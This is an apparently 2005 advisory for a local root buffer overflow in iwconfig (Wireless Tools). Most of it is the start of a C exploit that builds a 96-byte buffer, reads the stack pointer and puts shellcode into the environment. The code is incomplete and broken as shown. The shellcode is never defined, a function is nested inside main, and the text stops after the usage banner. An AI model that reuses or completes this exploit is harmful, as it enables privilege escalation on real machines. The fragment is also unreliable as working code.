Wireless Tools Local Buffer Overflow (Iwconfig, Exploit)
15 Sep. 2005
Summary
"The Wireless Tools (WT) is a set of tools allowing to manipulate the Wireless Extensions."
A vulnerability in one of the Wireless Tools, iwconfig, allows local attackers to overflow an internal buffer in the product and cause it to execute arbitrary code.
Credit:
The information has been provided by Qnix.
int main(int argc,char **argv){
char buf[96];
long esp, *addr_ptr;
unsigned long ret;
int i, offset;
unsigned long sp(void)
{ __asm__("movl %esp, %eax");}
char *prog[]={argv[1],buf,NULL};
char *env[]={"3v1lsh3ll0=",shellcode,NULL};
if (argc >= 2) {
printf("\n*********************************************\n");
printf(" iwconfig Version 26 Localroot Exploit \n");
printf(" Coded by Qnix[at]bsdmail[dot]org \n");
printf("*********************************************\n\n");
} else {
printf("\n*********************************************\n");
printf(" iwconfig Version 26 Localroot Exploit \n");
printf(" Coded by Qnix[at]bsdmail[dot]org \n");
printf("*********************************************\n\n");
printf("\n USEAGE: ./iwconfig-exploit <iwconfig FULLPATH e.g /sbin/iwconfig or /usr/sbin/iwconfig>\n\n");
return 1;
}
